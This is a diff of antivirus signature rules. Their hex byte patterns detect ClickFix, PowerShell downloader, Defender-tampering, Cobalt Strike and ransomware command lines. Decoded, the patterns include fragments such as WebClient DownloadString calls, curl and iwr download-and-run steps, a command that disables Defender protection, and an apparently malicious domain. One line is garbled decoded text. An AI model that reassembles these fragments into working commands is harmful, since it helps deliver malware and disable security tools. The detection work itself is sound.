0a 00 10 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 20 } //29793 condition: - ((#a_44_0 & 1)*17187+(#a_00_1 & 1)*8+(#a_00_2 & 1)*106+(#a_00_3 & 1)*112+(#a_00_4 & 1)*100+(#a_00_6 & 1)*120+(#a_69_7 & 1)*14958) >=2 + ((#a_44_0 & 1)*17187+(#a_00_1 & 1)*8+(#a_00_2 & 1)*106+(#a_00_4 & 1)*74+(#a_00_5 & 1)*40+(#a_72_6 & 1)*29793) >=2 } -rule _InfrastructureShared_26345{ +rule _InfrastructureShared_27913{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 59 21 4d 54 42 00 01 00 14 00 3b 00 53 00 74 00 61 00 72 00 74 00 2d 00 4a 00 6f 00 62 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 1b 02 70 00 } //21283 + $a_00_1 = {65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 3e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 00 00 d7 b5 00 00 50 00 50 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 } //111 + $a_4c_2 = {74 65 72 61 6c 2e 41 00 0a 00 08 00 77 00 6d 00 69 00 63 00 0a 00 10 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 0a 00 0c 00 20 00 63 00 61 00 6c 00 6c 00 20 00 0a 00 10 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c } //26989 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_4c_2 & 1)*26989) >=4 + +} +rule _InfrastructureShared_27914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,50 00 50 00 08 00 21 " @@ -344587,54 +364907,129 @@ rule _InfrastructureShared_26345{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 6d 69 63 4c 61 74 65 72 61 6c 2e 41 00 0a 00 08 00 77 00 6d 00 69 00 63 00 0a 00 10 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 0a 00 0c 00 20 00 63 00 61 00 } //21539 $a_00_1 = {20 00 0a 00 10 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 0a 00 06 00 20 00 2d 00 65 00 0a 00 0e 00 20 00 2f 00 6e 00 6f 00 64 00 65 00 3a 00 00 00 d7 b6 00 00 01 00 01 00 02 00 21 23 } //108 $a_3a_2 = {69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 44 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 } //19539 湩㈳唯䍁祂慰獳硅剰来䐮Ā䀀尀圀椀渀搀漀眀猀尀匀礀猀琀攀洀㌀㈀尀昀漀搀栀 - $a_00_4 = {72 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 48 00 35 00 65 00 39 00 34 00 34 00 65 00 64 00 65 00 2d 00 34 00 64 00 32 00 63 00 2d 00 34 00 62 00 33 00 35 00 2d 00 39 00 34 00 36 00 37 00 2d 00 35 00 61 00 61 00 33 00 33 00 35 00 65 00 34 00 34 00 35 00 37 00 31 00 00 00 d7 b6 00 00 04 00 04 00 05 00 21 } //112 - $a_46_5 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 41 00 01 00 10 80 01 6d 61 73 71 75 65 72 61 64 65 5f 6e 61 6d 65 73 01 00 0a 80 01 6d 64 20 25 74 65 6d 70 25 5c 01 00 07 80 01 63 6f 70 79 20 2f 79 01 00 39 02 } //21283 - $a_00_6 = {78 00 65 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 15 5f 00 6d 00 61 00 73 00 71 00 75 00 65 00 72 00 61 00 64 00 69 00 6e 00 67 00 5c 00 90 00 01 00 1f 02 2e 65 78 65 20 25 74 65 6d 70 25 5c 90 02 15 5f 6d 61 73 71 75 65 72 61 64 69 6e 67 5c 90 00 00 00 d7 b6 00 00 05 00 05 00 05 00 21 } //46 - $a_46_7 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 54 61 6d 70 65 72 2e 43 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 } //21283 + $a_00_4 = {72 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 48 00 35 00 65 00 39 00 34 00 34 00 65 00 64 00 65 00 2d 00 34 00 64 00 32 00 63 00 2d 00 34 00 62 00 33 00 35 00 2d 00 39 00 34 00 36 00 37 00 2d 00 35 00 61 00 61 00 33 00 33 00 35 00 65 00 34 00 34 00 35 00 37 00 31 00 00 00 d7 b6 00 00 04 00 04 00 04 00 21 } //112 + $a_46_5 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 54 21 4d 54 42 00 01 00 26 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 01 00 1a 00 } //21283 + $a_00_6 = {74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 22 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 18 00 2e 00 53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 00 00 d7 b6 00 00 04 00 04 00 05 00 21 } //78 + $a_46_7 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 41 00 01 00 10 80 01 6d 61 73 71 75 65 72 61 64 65 5f 6e 61 6d 65 73 01 00 0a 80 01 6d 64 20 25 74 65 6d 70 25 5c 01 00 07 80 01 63 6f 70 79 20 2f 79 01 00 39 02 } //21283 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_3a_2 & 1)*19539+(#a_00_4 & 1)*112+(#a_46_5 & 1)*21283+(#a_00_6 & 1)*46+(#a_46_7 & 1)*21283) >=80 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_3a_2 & 1)*19539+(#a_00_4 & 1)*112+(#a_46_5 & 1)*21283+(#a_00_6 & 1)*78+(#a_46_7 & 1)*21283) >=80 } -rule _InfrastructureShared_26346{ +rule _InfrastructureShared_27915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 44 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 } //21283 - $a_00_1 = {72 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 48 00 35 00 65 00 39 00 34 00 34 00 65 00 64 00 65 00 2d 00 34 00 64 00 32 00 63 00 2d 00 34 00 62 00 33 00 35 00 2d 00 39 00 34 00 36 00 37 00 2d 00 35 00 61 00 61 00 33 00 33 00 35 00 65 00 34 00 34 00 35 00 37 00 31 00 00 00 d7 b6 00 00 04 00 04 00 05 00 21 } //112 + $a_00_1 = {72 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 48 00 35 00 65 00 39 00 34 00 34 00 65 00 64 00 65 00 2d 00 34 00 64 00 32 00 63 00 2d 00 34 00 62 00 33 00 35 00 2d 00 39 00 34 00 36 00 37 00 2d 00 35 00 61 00 61 00 33 00 33 00 35 00 65 00 34 00 34 00 35 00 37 00 31 00 00 00 d7 b6 00 00 04 00 04 00 04 00 21 } //112 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112) >=1 } -rule _InfrastructureShared_26347{ +rule _InfrastructureShared_27916{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 54 21 4d 54 42 00 01 00 26 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 01 00 1a 00 } //21283 + $a_00_1 = {74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 22 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 18 00 2e 00 53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 00 00 d7 b6 00 00 04 00 04 00 05 00 21 } //78 + $a_46_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 41 00 01 00 10 80 01 6d 61 73 71 75 65 72 61 64 65 5f 6e 61 6d 65 73 01 00 0a 80 01 6d 64 20 25 74 65 6d 70 25 5c 01 00 07 80 01 63 6f 70 79 20 2f 79 01 00 39 02 } //21283 + $a_00_3 = {78 00 65 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 15 5f 00 6d 00 61 00 73 00 71 00 75 00 65 00 72 00 61 00 64 00 69 00 6e 00 67 00 5c 00 90 00 01 00 1f 02 2e 65 78 65 20 25 74 65 6d 70 25 5c 90 02 15 5f 6d 61 73 71 75 65 72 61 64 69 6e 67 5c 90 00 00 00 d7 b6 00 00 05 00 05 00 04 00 21 } //46 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*78+(#a_46_2 & 1)*21283+(#a_00_3 & 1)*46) >=4 + +} +rule _InfrastructureShared_27917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 41 00 01 00 10 80 01 6d 61 73 71 75 65 72 61 64 65 5f 6e 61 6d 65 73 01 00 0a 80 01 6d 64 20 25 74 65 6d 70 25 5c 01 00 07 80 01 63 6f 70 79 20 2f 79 01 00 39 02 } //21283 - $a_00_1 = {78 00 65 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 15 5f 00 6d 00 61 00 73 00 71 00 75 00 65 00 72 00 61 00 64 00 69 00 6e 00 67 00 5c 00 90 00 01 00 1f 02 2e 65 78 65 20 25 74 65 6d 70 25 5c 90 02 15 5f 6d 61 73 71 75 65 72 61 64 69 6e 67 5c 90 00 00 00 d7 b6 00 00 05 00 05 00 05 00 21 } //46 - $a_46_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 54 61 6d 70 65 72 2e 43 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 } //21283 - $a_00_3 = {64 00 01 00 20 00 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 50 00 55 00 41 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 0e 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 00 00 d7 b7 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a } //97 - $a_50_4 = {77 65 72 73 68 65 6c 6c 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 21 64 68 61 00 01 00 80 01 41 52 67 42 79 41 47 38 41 62 51 42 43 41 47 45 41 63 77 42 6c 41 44 59 41 4e } //28257 + $a_00_1 = {78 00 65 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 15 5f 00 6d 00 61 00 73 00 71 00 75 00 65 00 72 00 61 00 64 00 69 00 6e 00 67 00 5c 00 90 00 01 00 1f 02 2e 65 78 65 20 25 74 65 6d 70 25 5c 90 02 15 5f 6d 61 73 71 75 65 72 61 64 69 6e 67 5c 90 00 00 00 d7 b6 00 00 05 00 05 00 04 00 21 } //46 + $a_46_2 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 52 52 21 4d 54 42 00 01 00 1a 00 25 00 50 00 52 00 4f 00 47 00 52 00 41 00 4d 00 44 00 41 00 54 00 41 00 25 00 01 00 1a 00 25 00 55 00 53 00 45 00 } //21283 + $a_00_3 = {52 00 4f 00 46 00 49 00 4c 00 45 00 25 00 02 00 08 00 63 00 75 00 72 00 6c 00 02 00 3a 02 25 00 33 00 31 00 20 00 2d 00 6f 00 20 00 90 02 2f 2e 00 63 00 6d 00 64 00 20 00 3e 00 6e 00 75 00 6c 00 20 00 32 00 3e 00 6e 00 75 00 6c 00 20 00 26 } //82 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_46_2 & 1)*21283+(#a_00_3 & 1)*97+(#a_50_4 & 1)*28257) >=4 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_46_2 & 1)*21283+(#a_00_3 & 1)*82) >=4 } -rule _InfrastructureShared_26348{ +rule _InfrastructureShared_27918{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 52 52 21 4d 54 42 00 01 00 1a 00 25 00 50 00 52 00 4f 00 47 00 52 00 41 00 4d 00 44 00 41 00 54 00 41 00 25 00 01 00 1a 00 25 00 55 00 53 00 45 00 } //21283 + $a_00_1 = {52 00 4f 00 46 00 49 00 4c 00 45 00 25 00 02 00 08 00 63 00 75 00 72 00 6c 00 02 00 3a 02 25 00 33 00 31 00 20 00 2d 00 6f 00 20 00 90 02 2f 2e 00 63 00 6d 00 64 00 20 00 3e 00 6e 00 75 00 6c 00 20 00 32 00 3e 00 6e 00 75 00 6c 00 20 00 26 } //82 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*82) >=5 + +} +rule _InfrastructureShared_27919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 54 61 6d 70 65 72 2e 43 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 } //21283 - $a_00_1 = {64 00 01 00 20 00 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 50 00 55 00 41 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 0e 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 00 00 d7 b7 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a } //97 - $a_50_2 = {77 65 72 73 68 65 6c 6c 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 21 64 68 61 00 01 00 80 01 41 52 67 42 79 41 47 38 41 62 51 42 43 41 47 45 41 63 77 42 6c 41 44 59 41 4e } //28257 - $a_41_3 = {51 41 63 67 42 70 41 47 34 41 5a 77 41 6f 41 43 49 41 53 41 41 30 41 48 4d 41 53 51 42 42 41 45 45 41 51 51 42 42 41 45 45 41 51 51 42 42 41 45 45 41 51 51 42 4c 41 44 45 41 57 41 41 32 41 44 49 41 4b 77 42 70 41 44 49 41 61 41 42 69 41 43 38 41 57 41 } //16961 QAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADIAKwBpADIAaABiAC8AWA - $a_44_4 = {41 53 77 42 51 41 47 6f 00 00 d7 b7 00 00 03 00 03 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 79 46 69 6c 65 50 65 72 6d 69 73 73 69 6f 6e 2e 41 43 00 03 00 } //20802 + $a_00_1 = {64 00 01 00 20 00 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 50 00 55 00 41 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 0e 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 00 00 d7 b6 00 00 07 00 07 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a } //97 + $a_50_2 = {2f 50 6f 77 64 6f 77 2e 52 52 21 4d 54 42 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 } //28257 + $a_00_4 = {6e 00 67 00 02 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 20 00 7a 00 65 00 64 00 61 00 31 00 73 00 2e 00 62 00 6f 00 75 00 74 00 69 00 71 00 75 00 65 00 2f 00 01 00 1c 00 77 00 61 00 6c 00 6b 00 69 00 6e 00 2e 00 63 00 6f 00 6c 00 6c 00 65 00 67 00 65 00 00 00 d7 b6 00 00 3c 00 3c 00 06 00 21 } //114 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_50_2 & 1)*28257+(#a_41_3 & 1)*16961+(#a_44_4 & 1)*20802) >=5 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_50_2 & 1)*28257+(#a_00_4 & 1)*114) >=5 } -rule _InfrastructureShared_26349{ +rule _InfrastructureShared_27920{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 53 2f 50 6f 77 64 6f 77 2e 52 52 21 4d 54 42 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 } //21283 + $a_00_1 = {02 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 20 00 7a 00 65 00 64 00 61 00 31 00 73 00 2e 00 62 00 6f 00 75 00 74 00 69 00 71 00 75 00 65 00 2f 00 01 00 1c 00 77 00 61 00 6c 00 6b 00 69 00 6e 00 2e 00 63 00 6f 00 6c 00 6c 00 65 00 67 00 65 00 00 00 d7 b6 00 00 3c 00 3c 00 06 00 21 23 53 } //110 + $a_54_2 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 59 4e 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0c 00 48 00 } //17996 + $a_00_3 = {64 00 65 00 6e 00 0a 00 06 00 69 00 77 00 72 00 0a 00 08 00 2d 00 55 00 72 00 69 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 3c 00 24 00 65 00 6e 00 76 00 3a 00 90 00 02 00 3c 00 6d 00 73 00 69 00 3b 00 73 00 74 00 61 00 72 00 74 00 20 00 24 00 65 00 6e 00 76 00 3a 00 90 00 02 00 3c 00 2e 00 6d 00 } //105 + $a_00_4 = {00 00 d7 b6 00 00 79 00 79 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 50 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2c 00 5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_54_2 & 1)*17996+(#a_00_3 & 1)*105+(#a_00_4 & 1)*115) >=7 + +} +rule _InfrastructureShared_27921{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 59 4e 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0c 00 48 00 69 00 64 00 64 00 65 00 6e 00 0a 00 06 00 69 00 } //21283 + $a_00_1 = {0a 00 08 00 2d 00 55 00 72 00 69 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 3c 00 24 00 65 00 6e 00 76 00 3a 00 90 00 02 00 3c 00 6d 00 73 00 69 00 3b 00 73 00 74 00 61 00 72 00 74 00 20 00 24 00 65 00 6e 00 76 00 3a 00 90 00 02 00 3c 00 2e 00 6d 00 73 00 69 00 00 00 d7 b6 00 00 79 00 79 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //119 + $a_32_2 = {43 6c 69 63 6b 46 69 78 2e 44 47 50 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2c 00 5b 00 53 00 63 00 } //28265 + $a_00_3 = {70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 0a 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 08 00 77 00 67 00 65 00 74 00 00 00 d7 b6 00 } //114 + $a_23_5 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4b 21 4d 54 42 00 } //4 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119+(#a_32_2 & 1)*28265+(#a_00_3 & 1)*114+(#a_23_5 & 1)*4) >=60 + +} +rule _InfrastructureShared_27922{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 50 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2c 00 5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 } //21283 + $a_00_1 = {6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 0a 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 08 00 77 00 67 00 65 00 74 00 00 00 d7 b6 00 00 82 00 82 00 04 } //111 + $a_53_2 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4b 21 4d 54 42 00 64 00 22 } //8448 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_53_2 & 1)*8448) >=121 + +} +rule _InfrastructureShared_27923{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4b 21 4d 54 42 00 64 00 22 00 5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 0a 00 1a 00 2e 00 72 00 } //21283 + $a_00_1 = {70 00 6f 00 6e 00 73 00 65 00 54 00 65 00 78 00 74 00 0a 00 18 00 6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 27 00 2c 00 24 00 0a 00 26 00 2e 00 73 00 65 00 6e 00 64 00 28 00 29 00 3b 00 53 00 65 00 74 00 2d 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 b7 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f } //101 + $a_73_2 = {65 6c 6c 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 21 64 68 61 00 01 00 80 01 41 52 67 42 79 41 47 38 41 62 51 42 43 41 47 45 41 63 77 42 6c 41 44 59 41 4e 41 42 54 41 48 51 41 63 67 42 70 41 47 34 41 5a 77 41 6f 41 43 49 41 53 41 41 30 41 48 4d 41 53 51 42 42 41 45 45 41 51 51 42 42 41 45 45 41 51 51 42 42 41 45 45 41 51 51 42 4c 41 44 } //25975 + $a_41_3 = {32 41 44 49 41 4b 77 42 70 41 44 49 41 61 41 42 69 41 43 38 41 57 41 42 51 41 44 67 41 53 77 42 51 41 47 6f 00 00 d7 b7 00 00 3c 00 3c 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 44 61 72 6b 73 69 64 65 2e 4a 00 0a 00 14 00 70 00 6f 00 77 } //16709 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_73_2 & 1)*25975+(#a_41_3 & 1)*16709) >=130 + +} +rule _InfrastructureShared_27924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -344644,31 +365039,33 @@ rule _InfrastructureShared_26349{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26350{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 79 46 69 6c 65 50 65 72 6d 69 73 73 69 6f 6e 2e 41 43 00 03 00 80 02 69 00 63 00 61 00 63 00 6c 00 73 00 90 02 0a 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 } //21283 - condition: - ((#a_46_0 & 1)*21283) >=3 - -} -rule _InfrastructureShared_26351{ +rule _InfrastructureShared_27925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 06 00 21 " strings : $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 44 61 72 6b 73 69 64 65 2e 4a 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 2d 00 63 00 6f 00 6d 00 0a 00 14 00 6e 00 65 00 77 } //21539 - $a_00_2 = {65 00 63 00 74 00 0a 00 12 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 18 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 0a 00 1f 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 90 02 20 2e 00 65 00 78 00 65 00 90 00 00 00 d7 b7 00 00 75 00 75 00 09 00 21 23 53 } //98 - $a_54_3 = {6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 50 53 44 6f 77 6e 2e 41 00 64 00 05 00 24 65 6e 76 3a 05 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 05 00 04 80 } //17996 - $a_74_4 = {05 00 0d 80 01 6e 65 74 2d 77 65 62 63 6c 69 65 6e 74 01 00 0e 80 01 64 6f 77 6e 6c 